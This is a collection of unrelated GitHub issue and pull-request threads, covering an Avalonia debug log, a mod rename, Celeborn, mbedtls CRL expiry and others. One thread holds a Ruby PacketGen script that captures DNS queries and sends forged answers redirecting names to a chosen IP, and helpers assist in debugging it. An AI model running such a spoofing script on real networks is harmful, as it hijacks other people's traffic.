Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Controls.dll loaded
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Base.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Base.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Base.dll loaded
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ObjectModel.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ObjectModel.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ObjectModel.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Direct2D1.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Direct2D1.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Direct2D1.dll loaded
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Win32.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Win32.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Win32.dll loaded
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\MicroCom.Runtime.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\MicroCom.Runtime.dll in application domain 1:clrhost
Pdb file for assembly X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\MicroCom.Runtime.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Numerics.Vectors.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Numerics.Vectors.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Numerics.Vectors.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Collections.Concurrent.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Collections.Concurrent.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Collections.Concurrent.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Collections.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Collections.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Collections.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.InteropServices.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.InteropServices.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.InteropServices.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ComponentModel.Primitives.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ComponentModel.Primitives.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ComponentModel.Primitives.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Threading.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Threading.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Threading.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Private.Uri.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Private.Uri.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Private.Uri.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Linq.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Linq.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Linq.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.dll in application domain 1:clrhost
Pdb file for assembly X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.Direct2D1.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.Direct2D1.dll in application domain 1:clrhost
Pdb file for assembly X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.Direct2D1.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.Direct3D11.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.Direct3D11.dll in application domain 1:clrhost
Pdb file for assembly X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.Direct3D11.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.DXGI.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.DXGI.dll in application domain 1:clrhost
Pdb file for assembly X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\SharpDX.DXGI.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Reflection.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Reflection.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Reflection.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.OpenGL.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.OpenGL.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.OpenGL.dll loaded
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\Microsoft.Win32.Primitives.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\Microsoft.Win32.Primitives.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\Microsoft.Win32.Primitives.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ComponentModel.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ComponentModel.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ComponentModel.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\runtimes\win\lib\net6.0\System.Drawing.Common.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\runtimes\win\lib\net6.0\System.Drawing.Common.dll in application domain 1:clrhost
Pdb file for assembly X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\runtimes\win\lib\net6.0\System.Drawing.Common.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Drawing.Primitives.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Drawing.Primitives.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Drawing.Primitives.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Threading.Thread.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Threading.Thread.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Threading.Thread.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.InteropServices.RuntimeInformation.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.InteropServices.RuntimeInformation.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.InteropServices.RuntimeInformation.dll was not found or failed to read
Started Thread 51524
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.CompilerServices.Unsafe.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.CompilerServices.Unsafe.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Runtime.CompilerServices.Unsafe.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.MicroCom.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.MicroCom.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.MicroCom.dll loaded
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\netstandard.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\netstandard.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\netstandard.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Markup.Xaml.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Markup.Xaml.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Markup.Xaml.dll loaded
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ComponentModel.TypeConverter.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ComponentModel.TypeConverter.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.ComponentModel.TypeConverter.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Themes.Fluent.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Themes.Fluent.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Themes.Fluent.dll loaded
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Dialogs.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Dialogs.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Dialogs.dll loaded
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Markup.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Markup.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Markup.dll loaded
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\HarfBuzzSharp.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\HarfBuzzSharp.dll in application domain 1:clrhost
Pdb file for assembly X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\HarfBuzzSharp.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Memory.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Memory.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Memory.dll was not found or failed to read
Loaded Assembly 'X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Diagnostics.dll'
Loading module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Diagnostics.dll in application domain 1:clrhost
Symbols for module X:\Avalonia\samples\Sandbox\bin\Debug\net6.0\Avalonia.Diagnostics.dll loaded
Started Thread 66820
Started Thread 26712
Started Thread 18648
Started Thread 50220
Started Thread 44516
Started Thread 49900
Started Thread 63552
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.IO.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.IO.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.IO.dll was not found or failed to read
Loaded Assembly 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Globalization.dll'
Loading module C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Globalization.dll in application domain 1:clrhost
Pdb file for assembly C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.22\System.Globalization.dll was not found or failed to read
Exited Thread 44516
Exited Thread 50220
Exited Thread 66820
Exited Thread 18648
Exited Thread 49900
Exited Thread 63552

@RibShark try with Trace.Listeners.Add(new ConsoleTraceListener());

I tried the same think with 11.1.3 with the same result (transparent window with no content) and nothing logged even with Trace.Listeners.Add(new ConsoleTraceListener());
(My plan was to see how using D2D instead of skia affect trimmed assembly size for a minimal hello world app)

This issue is unfixed for 11.1.4 , I have having this touble right now.


[REQUEST] - Rename Project to "Carpet Addons Not Found"

Is your feature request related to a problem? Please describe.
Mod name currently reflects that the work is soley Gilly7CE instead of a collobarative effort between members of the 404 Not Found Minecraft server.
Describe the solution you'd like
Mod to be renamed to "Carpet Addons Not Found". This was the most voted name from the 404 members.
Describe alternatives you've considered
No alternatives.
Additional context
This will require moving of files from the package gillycarpetaddons to carpetaddonsnotfound. Anything that was previously named GillyAddons or similar should be CarpetAddonsNotFound or similar.

Similar to #93 but that issue was closed due to ugly coding implications and the name being too specific to the 404 server. This proposed name could be used in the unlikely scenario the 404 server was to shut down, allowing this mod to continue regardless.

The mod is not intended for external use, i.e. there are no public APIs, so we can continue releasing the mod with major version 1. The next release following this work would continue as normal.

Also require changing the repo name, which will break existing links! So need to ensure links to Modrinth and CurseForge are not broken. Also, announcing the name change in 404 discord is required, as the old links are provided.

Logo needs updating too.


[CELEBORN-674] Support revive for empty locations

What changes were proposed in this pull request?
If some task retry or scheduled by speculation, the executors will keep failing because revive does not support old partition is empty.
Celeborn will trigger stage end if all mapper task calls mapper end, this is not what spark thinks a stage ends.  So in this moment, kill spark executors will cause the spark task to rerun the current stage. Shuffle client will need to register shuffle first but get empty partition locations, and it will need to revive to get the latest location with empty locations.
Here are logs example
23/06/13 08:32:11 ERROR ShuffleClientImpl: Exception raised while reviving for shuffle 12 map 970 attempt 27 partition 152 epoch -1.
java.lang.NullPointerException
	at org.apache.celeborn.common.util.PbSerDeUtils$.toPbPartitionLocation(PbSerDeUtils.scala:258)
	at org.apache.celeborn.common.protocol.message.ControlMessages$Revive$.apply(ControlMessages.scala:207)
	at org.apache.celeborn.client.ShuffleClientImpl.revive(ShuffleClientImpl.java:573)
	at org.apache.celeborn.client.ShuffleClientImpl.pushOrMergeData(ShuffleClientImpl.java:656)
	at org.apache.celeborn.client.ShuffleClientImpl.pushData(ShuffleClientImpl.java:984)
	at org.apache.celeborn.client.write.DataPusher.pushData(DataPusher.java:197)
	at org.apache.celeborn.client.write.DataPusher.access$500(DataPusher.java:38)
	at org.apache.celeborn.client.write.DataPusher$1.run(DataPusher.java:123)
23/06/13 08:32:11 ERROR Executor: Exception in task 21.27 in stage 54.1 (TID 17255)
org.apache.celeborn.common.exception.CelebornIOException: Revive for shuffle spark-3df9647407f14c39868a17b7950899c5-12 partition 152 failed.
	at org.apache.celeborn.client.ShuffleClientImpl.pushOrMergeData(ShuffleClientImpl.java:666)
	at org.apache.celeborn.client.ShuffleClientImpl.pushData(ShuffleClientImpl.java:984)
	at org.apache.celeborn.client.write.DataPusher.pushData(DataPusher.java:197)
	at org.apache.celeborn.client.write.DataPusher.access$500(DataPusher.java:38)
	at org.apache.celeborn.client.write.DataPusher$1.run(DataPusher.java:123)
23/06/13 08:32:11 INFO CoarseGrainedExecutorBackend: Got assigned task 17309

Why are the changes needed?
To make shuffle client able to revive with empty locations.
Does this PR introduce any user-facing change?
No.
How was this patch tested?
K8S cluster.

Hi @FMX , could you add more details in the issue description? Thanks!

logTrace(s"Received Revive request, " +

Details added.


How to specify a hasOne relation

How would I simulate a hasOne relation?
e.g.
Course hasOne Venue
Course hasOne Tutor etc
Course: {
"id": "1",
"venue": "1",
"tutor":"1",
}
Venue: {
"id": "1",
"title": "University"
}

its happen to me, what should i do to fix it?

@1412, use belongsTo()

can you elaborate please?,
also please note thats its seems my problem is its deep chain relation
i have model:
[User]

have one [Patron]
have many [Event]
has one [Game],
has many [Patron] (as attendees)

from [User] i can get [Patron] and [Event] properties
but starting from [Event], i can't get [Game] and [Patron] properties but its ID
for example:
model.user.get('patron.events.firstObject.date')
(yield) Thu Oct 29 2015 07:00:00 GMT+0700 (WIB)
but this is fail:
model.user.get('patron.events.firstObject.game.showType')
(yield) undefined


Replace google fonts with Bunny #38

Switching to Bunny Fonts for material icons may be more suitable for GDPR compliance.
https://fonts.bunny.net/about

Hi @ranbuch

You can change the fontFaceSrc by passing it through the options:

Yes, I realized that later.

I would rather not change the CDN for all developers.

Utilizing a GDPR-compliant CDN could still be advantageous. However, the decision is yours. (Closing the PR.)


DNS spoofing attack not working?

@picatz  @sdaubert  I'm trying to perform a DNS spoofing attack on my network, and I can't seem to get it to work can you please help? The code's below:
require 'packetgen'
require 'ipaddr'

def spoof
  iface = 'wlp2s0'
  filter = 'udp and port 53'
  ip = '<IP_ADDRESS>' #facebook ip
  PacketGen.capture(iface: iface, filter: filter) do |pkt|
    puts "Found DNS packets..."
    if pkt.is?('DNS')
      if pkt.is?('TCP')
        pktID = pkt.dns.id
        pktOpcode = pkt.dns.opcode
        pktqr = true
        pktQuery = pkt.dns.qd.first.name
        pktSrc = pkt.ip.src
        pktDst = pkt.ip.dst
        pktDstPort = pkt.tcp.sport
        pktSrcPort pkt.tcp.dport
        pktIPAddr = IPAddr.new(ip).hton
        spoofed_pkt = PacketGen.gen('IP')
        spoofed_pkt.ip.src = pktDst
        spoofed_pkt.ip.dst = pktSrc
        spoofed_pkt.add('TCP')
        spoofed_pkt.tcp.sport = pktSrcPort
        spoofed_pkt.tcp.dport = pktDstPort
        spoofed_pkt.add('DNS')
        spoffed_pkt.dns.id = pktID
        spoofed_pkt.dns.opcode = pktOpcode
        spoofed_pkt.dns.qr = pktqr
        spoofed_pkt.dns.qd.first.name = pktQuery
        spoofed_pkt.dns.qd.rdata = pktIPAddr
        spoofed_pkt.calc
        spoofed_pkt.to_w
        puts "Sent spoofed packet to #{pktSrc} on interface #{iface} to IP Address #{ip}"

      elsif pkt.is?('UDP')
        pktID = pkt.dns.id
        pktOpcode = pkt.dns.opcode
        pktqr = true
        pktAnscount = pkt.dns.ancount
        pktQuery = pkt.dns.qd.first.name
        pktSrc = pkt.ip.src
        pktDst = pkt.ip.dst
        pktDstPort = pkt.udp.sport
        pktSrcPort = pkt.udp.dport
        pktIPAddr = IPAddr.new(ip).hton
        spoofed_pkt = PacketGen.gen('IP')
        spoofed_pkt.ip.src = pktDst
        spoofed_pkt.ip.dst = pktSrc
        spoofed_pkt.add('UDP')
        spoofed_pkt.udp.sport = 53
        spoofed_pkt.udp.dport = 47932
        spoofed_pkt.add('DNS')
        spoofed_pkt.dns.id = pktID
        spoofed_pkt.dns.opcode = pktOpcode
        spoofed_pkt.dns.qr = pktqr
        spoofed_pkt.dns.qd << {rtype: 'Question', name: pktQuery}
        spoofed_pkt.dns.an << {rtype: 'RR', name: pktQuery, rdata: pktIPAddr}
        spoofed_pkt.calc
        spoofed_pkt.to_w
        puts "Sent spoofed packet to #{pktSrc} on interface #{iface} to IP Address #{ip}"
      end
    end
  end
end

t = Thread.new(spoof)
t.join()

Whenever I run this program, and go to a website the website goes to the correct IP address, and not the one specified in the program, I don't know if it's the packets being sent, or something else. I think it may have to with the fact that the actual DNS responses are arriving faster, than my spoofed ones, but I'm unsure. Why are the spoofed DNS responses not working? Anyways, thanks for your help.

SO sorry for this late comment, I've been busy. Anyways, I have a few questions: Is it necessary to use my ethernet interface for this? What does binding.pry mean? Thanks, and again sorry for this late comment I don't me to bombard you with questions, and thanks for keeping this question open after all this time.

@n00b110 no worries 👍

I don't believe it's necessary.
binding.pry is basically a point in the code you can set a breakpoint that we can interact with via a REPL that uses pry -- and pgconole uses pry to provide a custom console, if you have it installed. Alternatively, you could use binding.irb to do essentially the same thing. I personally really like the interactivity this kind of setup provides.

Thanks, for the help this really solved my problem. :)

👏 Awesome to hear @n00b110!


Add support for AWS Elasticsearch Service

It would be nice to have support for AWS Elasticsearch Service cluster and cluster policy.

Today it's fully support elasticsearch exclude aws_elasticache_security_group

Not really, this issue is about Elasticsearch, not ElastiCache ;)


Fix some maneuvers cut-off

When screen is narrow, some ships have rightmost manuevers in table cut-off (e.g. a-wing)

After testing all five starting ships from smallest width (iphone 5) up to desktop, this seems fine now.
Maybe fixed by the recent style changes to the summary screen.


Proof of concept for nested enum

Neoconfigen ran without error, but it produced an incorrect import. I had to fix that manually.
Python 3.9.7 (default, Sep 10 2021, 14:59:43)
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from conduit.hydra.conduit.data.datamodules.conf import NICODataModuleConf
>>> c = NICODataModuleConf()
>>> c.superclass
Superclass.animals
>>> type(c.superclass)
<enum 'Superclass'>

have you tried with hydra?

Do you have a test case?


Update soon to be expired crl

Description
Update crl.pem, as it will expire on November 25 2019.
Resolves #2357.
Status
READY
Requires Backporting
Yes
As this crl will be expired on the LTS branch, which will still be supported on November 25 2019,  need to backport as well.
Todos

[x] Tests
[ ] Documentation
[ ] Changelog updated
[ ] Backported

@mpg Thank you for your review!
I have just noticed I have missed adding crl.pem as a dependency in the Makefile.
Backported to 2.7 and 2.16 in #2418 and #2419

@hanno-arm Yes. All the other CRLs we have, the soonest year they expire is 2024.
We have other CRLs that expired at 2011, so since we didn't get any errors sine, they are probably not used in our tests, and we require some house cleaning for certificates and crls not used in tests.

Or perhaps the expired CRLs are used in tests that actually need the CRL to be expired?

perhaps.
Anyway, when I run:
faketime -f '+2y' make test , the tests pass. ( 3 years ahead I get failures.
I have noticed that: data_files/test-ca.crt is valid until:
Not After : Feb 12 14:44:00 2021 GMT

and that data_files/server3.crt is valid until:
Not After : Aug  7 09:17:03 2023 GMT

I haven't checked other certificates. Anyway, this should be handled in a different PR, and maintained regularly.

@RonEld I'd prefer those CRTs to be regenerated (and their build-instructions to be rewritten) so that they don't expire in the next 3 years. Now you/we are into the issue and it's easy to fix along the way, while waiting for another report to come up in a year's time or so and triaging and fixing it again will be more work.

In addition to what Hanno wrote, our LTS branches are supported for 3 years, so I think it would make sense for us to always ensure faketime -f '+3y' make test pass when we release a new LTS (and released one very recently, so I think we should have it pass now).

@hanno-arm @mpg I agree that we should have a test that will ensure faketime -f '+3y' make test will pass. However, I disagree that this should be handled in this PR, as it is an entirely different task, as I think we should align all our certificates and crls to be expired on the same time, for simplicity

@RonEld I'm not sure this is an entirely different task - this PR is about making tests pass in 1 year, so just changing the numeric value from 1 to 3 hardly changes the nature of the task IMO. (The larger work you suggest in your email would indeed be a pretty different task.)
However, if you really to handle the two remaining certs necessary to pass in 3 years in this PR, I'll still approve this PR as it stands in the interest of unblocking it, as it already brings a valuable improvement that I don't want to block by requesting more of the same.

I am working on making the tests pass in three years. however htis is more than just changing two certificates

@RonEld Why is that more than just changing the two certificates you mentioned in this earlier message? How much more?
I based my previous comment on the assumption that it would be just changing two certs, so if it's much more that than I could change my mind.

The task for making it poass in three years include:

As you can see in the list I stated in my email, you will see many certificates that expire in three years. ( I listed the main server1.crt and test-ca.crt but all their derivatives as well). THis is not a big issue though.
Changing the Makefile in data_files to generate update certificates. Not a big issue.
Modifying the .data file in the x509parse test suite, to have the correc tinformation. This is not difficult, only takes time.

As mentioned, I am currently working on this, probably be ready by end of day

@hanno-arm @mpg I have updated the certificates and corresponding test data files to make our tests pass 3 years ahead.
I still think this is a patch, as it should be handled in a more maintained way though.
I ran the following tests to verify:
faketime -f '+3y' make test
faketime -f '+3y' tests/ssl-opts.sh
faketime -f '+3y' programs/ssl/ssl_server2 and faketime -f '+3y' programs/ssl/ssl_client2

A few notes:

server2-badsign.crt was generated manually, using a debugger to corrupt the signature, so no Makefile entry done for that.
enco-ca-prstr.pem was generated through mbedtls_cert_write program, since openssl didn't generate the CN in printablestring. Our certificate write writes in UTF8, so manually modified this. Therefore no Makefile entry for that as well.
I am not sure what is the purpose of test-ca_uppercase.crt, as the content of original file was not in uppercase. I generated the file, as original CN.

Please review

Note: I think it's worth fixing #822 as part of this PR

patch applies cleanly to 2.16.0 but only adds another 10 years to the life of the software:
openssl crl -in ./tests/data_files/crl.pem -noout -text
        Last Update: Feb  6 16:34:46 2019 GMT
        Next Update: Feb  6 16:34:46 2029 GMT

cant you make it expire in the year 2999?

@mpg, @hanno-arm - please re-review this PR.

After think a bit some more, #822 should be handled in a different PR,as part of a house cleaning task, removing unused certificates.

@bmwiedemann
Yes, the crls are valid for 10 years, as they were before.Sine the lifespan of our LTS branches are ~3 years, and these are test certificates, I think its reasonable to have these certificates expire in 10 years.
However I am willing to hear other thoughts on this matter.
@mpg @hanno-arm any comments?

Keeping the "needs work" label until conflicts are resolved.

I have rebased to resolve conflixts.
I have also added a commit to update expiration date of new certificates.
@mpg @hanno-arm Do you want me to squash https://github.com/ARMmbed/mbedtls/pull/2417/commits/66d99ae2aa9343b4d5e74f5ba312676595874168 with https://github.com/ARMmbed/mbedtls/pull/2417/commits/23054c8b9480fb94428913d4361aea2ebf9e4b5a?

@mpg @hanno-arm Do you want me to squash 66d99ae with 23054c8?

As you prefer, both are fine with me - though I have a slight preference for squashing if nobody opposes.
Also, github is still showing conflicts.

@mpg yes, the new conflict is from the merging of #1520
I will rebase to fix the merge conflict.

As you prefer, both are fine with me - though I have a slight preference for squashing if nobody opposes.

Personally I think it's better if I squashed the commits, but I think it will make the reviewers an easier life if the squashing will happen after all the changes will be reviewed

@mpg I have resolved the conflicts. Please review.
I have noticed  a typo in the last commit message, but I wouldn't bother, since the last two commits will be squashed to https://github.com/ARMmbed/mbedtls/pull/2417/commits/e87c6855bd7601cf8c7c5063990a8068c42b3fc2

Thanks! Actually, would you be able to find another reviewer? Atm as you now I'm fully dedicated to some other work.

@mpg sure, no problem.
I just thought that since you started this, it would be faster if you finish.
I'll assign other people

@AndrzejKurek Thank you for the review.
As mentioned in https://github.com/ARMmbed/mbedtls/pull/2417#issuecomment-470439682, I have squashed the latest commit to clear history, but you can look in this diff that nothing has changed in the process since your last approval.
I apologize for not clearing the history prior to your review.

@k-stachowiak @AndrzejKurek I amended the commit "Update certificates to expire in 2029 " to fix CI failure.
It was only removing of an extra ; character in certs.c line 203. This caused a failure in ARMCC5:
"certs.c", line 205: Error:  #381-D: extra ";" ignored
  const char mbedtls_test_srv_crt_rsa[]     =
EST_SRV_CRT_RSA_SHA256;
                                                                      ^
certs.c: 0 warnings, 1 error
Makefile:164: recipe for target 'certs.o' failed
make[1]: *** [certs.o] Error 1
make[1]: *** Waiting for unfinished jobs....
make: *** [lib] Error 2
Makefile:18: recipe for target 'lib' failed
^^^^build_armcc: build: ARM Compiler 5, make: command make CC=/usr/local/ARM_Compiler_5.06u3/bin//armcc AR=/usr/local/ARM_Compiler_5.06u3/bin//armar WARNING_CFLAGS=--strict --c99 lib -> 2^^^^

Please review

This PR and its backports have been fully reviewed and approved. Removing the "needs backports" label
cc @Patater

Hi, I'm wondering what is missing here for this to get merged? The 2019-11-25 expiry of the crl is not that far away.

collides with
commit 53756b32282d0b36a6900cf2459250a328ae6214
Author: Hanno Becker<EMAIL_ADDRESS>Date:   Mon Jun 3 14:14:38 2019 +0100

    Add MD[245] test CRTs to tree

@k-stachowiak @AndrzejKurek I have rebased to resolve conflicts
During rebasing, I found new certificates that need to be updated, and other certificates that fail with faketime -f '+3y' since this PR was raised.
Please review

This PR is fully reviewed, so removing the "needs backports" label
cc @Patater


Delimiters in link and image title attributes

Note: I posted this on jgm/CommonMark#308 too, in the hope that one of these two projects would update their title rendering to have at least one method in common.

Hey all, I’m currently in the process creating a markdown parser/stringifier (no, not another one, rather, one that focusses on Markdown itself, not HTML :wink:).
During the process of adding CommonMark support, I came across the fact that it is not possible to generate a title attribute, which contains it’s delimiter, which works in Markdown.pl, RedCarpet/GitHub, and CommonMark.
For example:

